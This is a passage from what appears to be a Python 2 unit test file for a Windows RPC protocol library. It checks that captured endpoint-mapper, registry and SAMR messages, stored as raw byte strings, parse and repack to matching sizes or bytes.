13\x00\rxW4\x124\x12\xcd\xab\xef\x00\x01#Eg\x89\xab\x00\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\t\x00NTDS_LPC\x00\xcc\xcc\xcc`\x00\x00\x00`\x00\x00\x00\x04\x00\x13\x00\rxW4\x124\x12\xcd\xab\xef\x00\x01#Eg\x89\xab\x00\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10 \x00OLEA42FB87E2EF04FE2895FA42C2387\x00K\x00\x00\x00K\x00\x00\x00\x05\x00\x13\x00\rxW4\x124\x12\xcd\xab\xef\x00\x01#Eg\x89\xab\x00\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0b\x02\x00\x00\x00\x01\x00\x07\x02\x00\xc0\x03\x01\x00\t\x04\x00\x00\x00\x00\x00\xccJ\x00\x00\x00J\x00\x00\x00\x04\x00\x13\x00\rxW4\x124\x12\xcd\xab\xef\x00\x01#Eg\x89\xab\x00\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\n\x00samss lpc\x00\xcc\xccG\x00\x00\x00G\x00\x00\x00\x04\x00\x13\x00\rxW4\x124\x12\xcd\xab\xef\x00\x01#Eg\x89\xab\x00\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x07\x00dsrole\x00\xccj\x00\x00\x00j\x00\x00\x00\x05\x00\x13\x00\rxW4\x124\x12\xcd\xab\xef\x00\x01#Eg\x89\xab\x00\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0b\x02\x00\x00\x00\x01\x00\x0f\x18\x00\\PIPE\\protected_storage\x00\x01\x00\x11\r\x00\\\\FREEFLY-DC\x00\xcc\xccR\x00\x00\x00R\x00\x00\x00\x04\x00\x13\x00\rxW4\x124\x12\xcd\xab\xef\x00\x01#Eg\x89\xab\x00\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x12\x00protected_storage\x00\xcc\xccK\x00\x00\x00K\x00\x00\x00\x04\x00\x13\x00\rxW4\x124\x12\xcd\xab\xef\x00\x01#Eg\x89\xab\x00\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x0b\x00lsasspirpc\x00\xccP\x00\x00\x00P\x00\x00\x00\x04\x00\x13\x00\rxW4\x124\x12\xcd\xab\xef\x00\x01#Eg\x89\xab\x00\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x10\x00lsapolicylookup\x00P\x00\x00\x00P\x00\x00\x00\x04\x00\x13\x00\rxW4\x124\x12\xcd\xab\xef\x00\x01#Eg\x89\xab\x00\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x10\x00LSARPC_ENDPOINT\x00N\x00\x00\x00N\x00\x00\x00\x04\x00\x13\x00\rxW4\x124\x12\xcd\xab\xef\x00\x01#Eg\x89\xab\x00\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x0e\x00securityevent\x00\xcc\xccF\x00\x00\x00F\x00\x00\x00\x04\x00\x13\x00\rxW4\x124\x12\xcd\xab\xef\x00\x01#Eg\x89\xab\x00\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x06\x00audit\x00\xcc\xccX\x00\x00\x00X\x00\x00\x00\x04\x00\x13\x00\rxW4\x124\x12\xcd\xab\xef\x00\x01#Eg\x89\xab\x00\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x18\x00LRPC-75fac2f88290daf44c\x00^\x00\x00\x00^\x00\x00\x00\x05\x00\x13\x00\rxW4\x124\x12\xcd\xab\xef\x00\x01#Eg\x89\xab\x00\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0b\x02\x00\x00\x00\x01\x00\x0f\x0c\x00\\pipe\\lsass\x00\x01\x00\x11\r\x00\\\\FREEFLY-DC\x00\xcc\xccK\x00\x00\x00K\x00\x00\x00\x05\x00\x13\x00\r5BQ\xe3\x06K\xd1\x11\xab\x04\x00\xc0O\xc2\xdc\xd2\x04\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0b\x02\x00\x00\x00\x01\x00\x1f\x02\x00\xc0\x05\x01\x00\t\x04\x00\x00\x00\x00\x00\xccI\x00\x00\x00I\x00\x00\x00\x04\x00\x13\x00\r5BQ\xe3\x06K\xd1\x11\xab\x04\x00\xc0O\xc2\xdc\xd2\x04\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\t\x00NTDS_LPC\x00\xcc\xcc\xcc`\x00\x00\x00`\x00\x00\x00\x04\x00\x13\x00\r5BQ\xe3\x06K\xd1\x11\xab\x04\x00\xc0O\xc2\xdc\xd2\x04\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10 \x00OLEA42FB87E2EF04FE2895FA42C2387\x00K\x00\x00\x00K\x00\x00\x00\x05\x00\x13\x00\r5BQ\xe3\x06K\xd1\x11\xab\x04\x00\xc0O\xc2\xdc\xd2\x04\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0b\x02\x00\x00\x00\x01\x00\x07\x02\x00\xc0\x03\x01\x00\t\x04\x00\x00\x00\x00\x00\xccJ\x00\x00\x00J\x00\x00\x00\x04\x00\x13\x00\r5BQ\xe3\x06K\xd1\x11\xab\x04\x00\xc0O\xc2\xdc\xd2\x04\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\n\x00samss lpc\x00\xcc\xccG\x00\x00\x00G\x00\x00\x00\x04\x00\x13\x00\r5BQ\xe3\x06K\xd1\x11\xab\x04\x00\xc0O\xc2\xdc\xd2\x04\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x07\x00dsrole\x00\xccj\x00\x00\x00j\x00\x00\x00\x05\x00\x13\x00\r5BQ\xe3\x06K\xd1\x11\xab\x04\x00\xc0O\xc2\xdc\xd2\x04\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0b\x02\x00\x00\x00\x01\x00\x0f\x18\x00\\PIPE\\protected_storage\x00\x01\x00\x11\r\x00\\\\FREEFLY-DC\x00\xcc\xccR\x00\x00\x00R\x00\x00\x00\x04\x00\x13\x00\r5BQ\xe3\x06K\xd1\x11\xab\x04\x00\xc0O\xc2\xdc\xd2\x04\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x12\x00protected_storage\x00\xcc\xccK\x00\x00\x00K\x00\x00\x00\x04\x00\x13\x00\r5BQ\xe3\x06K\xd1\x11\xab\x04\x00\xc0O\xc2\xdc\xd2\x04\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x0b\x00lsasspirpc\x00\xccP\x00\x00\x00P\x00\x00\x00\x04\x00\x13\x00\r5BQ\xe3\x06K\xd1\x11\xab\x04\x00\xc0O\xc2\xdc\xd2\x04\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x10\x00lsapolicylookup\x00P\x00\x00\x00P\x00\x00\x00\x04\x00\x13\x00\r5BQ\xe3\x06K\xd1\x11\xab\x04\x00\xc0O\xc2\xdc\xd2\x04\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x10\x00LSARPC_ENDPOINT\x00N\x00\x00\x00N\x00\x00\x00\x04\x00\x13\x00\r5BQ\xe3\x06K\xd1\x11\xab\x04\x00\xc0O\xc2\xdc\xd2\x04\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x0e\x00securityevent\x00\xcc\xccF\x00\x00\x00F\x00\x00\x00\x04\x00\x13\x00\r5BQ\xe3\x06K\xd1\x11\xab\x04\x00\xc0O\xc2\xdc\xd2\x04\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x06\x00audit\x00\xcc\xccX\x00\x00\x00X\x00\x00\x00\x04\x00\x13\x00\r5BQ\xe3\x06K\xd1\x11\xab\x04\x00\xc0O\xc2\xdc\xd2\x04\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x18\x00LRPC-75fac2f88290daf44c\x00^\x00\x00\x00^\x00\x00\x00\x05\x00\x13\x00\r5BQ\xe3\x06K\xd1\x11\xab\x04\x00\xc0O\xc2\xdc\xd2\x04\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0b\x02\x00\x00\x00\x01\x00\x0f\x0c\x00\\pipe\\lsass\x00\x01\x00\x11\r\x00\\\\FREEFLY-DC\x00\xcc\xccH\x00\x00\x00H\x00\x00\x00\x04\x00\x13\x00\ra&EJ\x90\x826K\x8f\xbe\x7f@\x93\xa9Ix\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x08\x00spoolss\x00H\x00\x00\x00H\x00\x00\x00\x04\x00\x13\x00\r\x9b\x063\xae\xa8\xa2\xeeF\xa25\xdd\xfd3\x9b\xe2\x81\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x08\x00spoolss\x00H\x00\x00\x00H\x00\x00\x00\x04\x00\x13\x00\r\xfa\xdbn\x0b$J\xc6O\x8a#\x94+\x1e\xcae\xd1\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x08\x00spoolss\x00K\x00\x00\x00K\x00\x00\x00\x05\x00\x13\x00\r\xa4\xc2\xabPMW\xb3@\x9df\xeeO\xd5\xfb\xa0v\x05\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0b\x02\x00\x00\x00\x01\x00\x07\x02\x00\xc0\x15\x01\x00\t\x04\x00\x00\x00\x00\x00\xcca\x00\x00\x00a\x00\x00\x00\x05\x00\x13\x00\r\xbf\t\x11\x81\xe1\xa4\xd1\x11\xabT\x00\xa0\xc9\x1e\x9bE\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0b\x02\x00\x00\x00\x01\x00\x0f\x0f\x00\\pipe\\WinsPipe\x00\x01\x00\x11\r\x00\\\\FREEFLY-DC\x00\xcc\xcc\xccX\x00\x00\x00X\x00\x00\x00\x04\x00\x13\x00\r\xbf\t\x11\x81\xe1\xa4\xd1\x11\xabT\x00\xa0\xc9\x1e\x9bE\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x18\x00LRPC-1d5ca5ac42312a0056\x00K\x00\x00\x00K\x00\x00\x00\x05\x00\x13\x00\r\xbf\t\x11\x81\xe1\xa4\xd1\x11\xabT\x00\xa0\xc9\x1e\x9bE\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0b\x02\x00\x00\x00\x01\x00\x07\x02\x00\xc0,\x01\x00\t\x04\x00\x00\x00\x00\x00\xcc`\x00\x00\x00`\x00\x00\x00\x04\x00\x13\x00\r\xbf\t\x11\x81\xe1\xa4\xd1\x11\xabT\x00\xa0\xc9\x1e\x9bE\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10 \x00OLE261F2C99BFF143DE95CFD25D6F1B\x00a\x00\x00\x00a\x00\x00\x00\x05\x00\x13\x00\r(,\xf5E\x9f\x7f\x1a\x10\xb5+\x08\x00+.\xfa\xbe\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0b\x02\x00\x00\x00\x01\x00\x0f\x0f\x00\\pipe\\WinsPipe\x00\x01\x00\x11\r\x00\\\\FREEFLY-DC\x00\xcc\xcc\xccX\x00\x00\x00X\x00\x00\x00\x04\x00\x13\x00\r(,\xf5E\x9f\x7f\x1a\x10\xb5+\x08\x00+.\xfa\xbe\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x18\x00LRPC-1d5ca5ac42312a0056\x00K\x00\x00\x00K\x00\x00\x00\x05\x00\x13\x00\r(,\xf5E\x9f\x7f\x1a\x10\xb5+\x08\x00+.\xfa\xbe\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0b\x02\x00\x00\x00\x01\x00\x07\x02\x00\xc0,\x01\x00\t\x04\x00\x00\x00\x00\x00\xcc`\x00\x00\x00`\x00\x00\x00\x04\x00\x13\x00\r(,\xf5E\x9f\x7f\x1a\x10\xb5+\x08\x00+.\xfa\xbe\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10 \x00OLE261F2C99BFF143DE95CFD25D6F1B\x00K\x00\x00\x00K\x00\x00\x00\x05\x00\x13\x00\r\x81\xbbz6D\x98\xf15\xad2\x98\xf08\x00\x10\x03\x02\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0b\x02\x00\x00\x00\x01\x00\x07\x02\x00\xc0K\x01\x00\t\x04\x00\x00\x00\x00\x00\xccX\x00\x00\x00X\x00\x00\x00\x04\x00\x13\x00\rxV4\x124\x12\xcd\xab\xef\x00\x01#Eg\x89\xab\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x18\x00LRPC-47015c651701b6fefd\x00K\x00\x00\x00K\x00\x00\x00\x05\x00\x13\x00\rxV4\x124\x12\xcd\xab\xef\x00\x01#Eg\x89\xab\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0b\x02\x00\x00\x00\x01\x00\x07\x02\x00\xc0L\x01\x00\t\x04\x00\x00\x00\x00\x00\xccK\x00\x00\x00K\x00\x00\x00\x05\x00\x13\x00\r\x1e\xdd[k\x8cR,B\xaf\x8c\xa4\x07\x9b\xe4\xfeH\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0b\x02\x00\x00\x00\x01\x00\x07\x02\x00\xc0L\x01\x00\t\x04\x00\x00\x00\x00\x00\xccX\x00\x00\x00X\x00\x00\x00\x04\x00\x13\x00\r\xe0\x0ck\x90\x0b\xc7g\x10\xb3\x17\x00\xdd\x01\x06b\xda\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x18\x00LRPC-9c0b57db25a3353f68\x00`\x00\x00\x00`\x00\x00\x00\x04\x00\x13\x00\r\xe0\x0ck\x90\x0b\xc7g\x10\xb3\x17\x00\xdd\x01\x06b\xda\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10 \x00OLEC7D101604F874C58BA48EAD7B5A2\x00X\x00\x00\x00X\x00\x00\x00\x04\x00\x13\x00\r\xe0\x0ck\x90\x0b\xc7g\x10\xb3\x17\x00\xdd\x01\x06b\xda\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x18\x00LRPC-6d64ace2cb67ac5179\x00X\x00\x00\x00X\x00\x00\x00\x04\x00\x13\x00\r\xe0\x0ck\x90\x0b\xc7g\x10\xb3\x17\x00\xdd\x01\x06b\xda\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x18\x00LRPC-6d64ace2cb67ac5179\x00X\x00\x00\x00X\x00\x00\x00\x04\x00\x13\x00\r\xe0\x0ck\x90\x0b\xc7g\x10\xb3\x17\x00\xdd\x01\x06b\xda\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x18\x00LRPC-6d64ace2cb67ac5179\x00X\x00\x00\x00X\x00\x00\x00\x04\x00\x13\x00\r\xe0\x0ck\x90\x0b\xc7g\x10\xb3\x17\x00\xdd\x01\x06b\xda\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x18\x00LRPC-6d64ace2cb67ac5179\x00K\x00\x00\x00K\x00\x00\x00\x05\x00\x13\x00\r_.~\x89\xf3\x93vC\x9c\x9c\xfd"wI\\\'\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0b\x02\x00\x00\x00\x01\x00\x07\x02\x00\x16Z\x01\x00\t\x04\x00\x00\x00\x00\x00\xcc`\x00\x00\x00`\x00\x00\x00\x04\x00\x13\x00\r_.~\x89\xf3\x93vC\x9c\x9c\xfd"wI\\\'\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10 \x00OLE4B669A0A60C84C56926EB66DC651\x00\x00\x00\x00\x00'
hexdump(ept_lookup_resp)
lookupResponse= ept_lookupResponse(isNDR64=False)
lookupResponse.fromString(ept_lookup_resp)
lookupResponse.dumpRaw()
output = lookupResponse.getData()
print "ORIG: %d, REPACKED: %d" % (len(ept_lookup_resp), len(output))
print "="*80
print "ORIG"
hexdump(ept_lookup_resp)
print "="*80
print "REPACKED"
hexdump(output)
print "="*80
self.assertTrue(len(ept_lookup_resp) == len(output))
def test_12(self):
ept_mapReq = '\x87d\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x001j\x00\x00\x00\x00\x00\x00K\x00\x00\x00\x00\x00\x00\x00K\x00\x00\x00\x05\x00\x13\x00\rxW4\x124\x12\xcd\xab\xef\x00\x01#Eg\x89\xac\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0b\x02\x00\x00\x00\x01\x00\x07\x02\x00\x00\x00\x01\x00\t\x04\x00\x00\x00\x00\x00\xaa\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00'
hexdump(ept_mapReq)
tower = epm.EPMTower()
interface = epm.EPMRPCInterface()
interface['InterfaceUUID'] = string_to_bin('12345778-1234-ABCD-EF00-0123456789AC')
interface['MajorVersion'] = 1
interface['MinorVersion'] = 0
dataRep = epm.EPMRPCDataRepresentation()
dataRep['DataRepUuid'] = string_to_bin('8a885d04-1ceb-11c9-9fe8-08002b104860')
dataRep['MajorVersion'] = 2
dataRep['MinorVersion'] = 0
protId = epm.EPMProtocolIdentifier()
protId['ProtIdentifier'] = 0xb
pipeName = epm.EPMPipeName()
pipeName['PipeName'] = '\x00'
portAddr = epm.EPMPortAddr()
portAddr['IpPort'] = 0
hostAddr = epm.EPMHostAddr()
import socket
hostAddr['Ip4addr'] = socket.inet_aton('0.0.0.0')
hostName = epm.EPMHostName()
hostName['HostName'] = '\x00'
tower['NumberOfFloors'] = 5
tower['Floors'] = interface.getData() + dataRep.getData() + protId.getData() + portAddr.getData() + hostAddr.getData()
request = epm.ept_map(isNDR64=True)
request['max_towers'] = 4
request['map_tower']['tower_length'] = len(tower)
request['map_tower']['tower_octet_string'] = str(tower)
output = request.getData()
print "ORIG: %d, REPACKED: %d" % (len(ept_mapReq), len(output))
print "="*80
print "ORIG"
hexdump(ept_mapReq)
print "="*80
print "REPACKED"
hexdump(output)
print "="*80
self.assertTrue(len(ept_mapReq) == len(output))
def test_13(self):
baseRegGetKeySecurityResponse = '\x00\x00\x02\x00\x00\x04\x00\x00$\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00$\x00\x00\x00\x01\x00\x00\x80\x14\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x00\x00\x00\x00\x05 \x00\x00\x00 \x02\x00\x00\x00\x00\x00\x00'
hexdump(baseRegGetKeySecurityResponse)
baseRegGetKeySecurity= BaseRegGetKeySecurityResponse()
baseRegGetKeySecurity.fromString(baseRegGetKeySecurityResponse)
baseRegGetKeySecurity.dumpRaw()
output = baseRegGetKeySecurity.getData()
print "ORIG: %d, REPACKED: %d" % (len(baseRegGetKeySecurityResponse), len(output))
print "="*80
print "ORIG"
hexdump(baseRegGetKeySecurityResponse)
print "="*80
print "REPACKED"
hexdump(output)
print "="*80
self.assertTrue(baseRegGetKeySecurityResponse == output)
def test_14(self):
samrLookupIdsInDomain ='\x00\x00\x00\x00Bz\x94j&\\:E\xacS\xae\xa9c\xa8\xc5\xfb\x02\x00\x00\x00\xe8\x03\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\xf4\x01\x00\x00\xf5\x01\x00\x00'
hexdump(samrLookupIdsInDomain)
request = SamrLookupIdsInDomain()
request['DomainHandle'] = 'A'*20
request['Count'] = 2
entry = dtypes.ULONG()
entry['Data'] = 500
request['RelativeIds'].append(entry)
entry = dtypes.ULONG()
entry['Data'] = 501
request['RelativeIds'].append(entry)
request.fields['RelativeIds'].fields['MaximumCount'] = 1000
#request.dumpRaw()
output = request.getData()
print "ORIG: %d, REPACKED: %d" % (len(samrLookupIdsInDomain), len(output))
print "="*80
print "ORIG"
hexdump(samrLookupIdsInDomain)
print "="*80
print "REPACKED"
hexdump(output)
print "="*80
self.assertTrue(len(samrLookupIdsInDomain) == len(output))
def test_15(self):
baseRegQueryMultipleValues = '\x00\x00\x00\x00Ah?\x10^>GG\xbco\xa1\xc4(\x86\xbcR\xbf\xbf\xbf\xbf\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\xfan\x00\x00\x00\x00\x00\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\xdd\xdd\xdd\xddk\x86\x00\x00\x00\x00\x00\x00\x0b\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\xdd\xdd\xdd\xdd\xe3i\x00\x00\x00\x00\x00\x00\n\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\xcc\xcc\xcc\xcc\x18\x00\x18\x00\xbc\xbc\xbc\xbc/:\x00\x00\x00\x00\x00\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0c\x00\x00\x00\x00\x00\x00\x00P\x00r\x00o\x00d\x00u\x00c\x00t\x00N\x00a\x00m\x00e\x00\x00\x00\x16\x00\x16\x00\xbc\xbc\xbc\xbc\x0c-\x00\x00\x00\x00\x00\x00\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0b\x00\x00\x00\x00\x00\x00\x00S\x00y\x00s\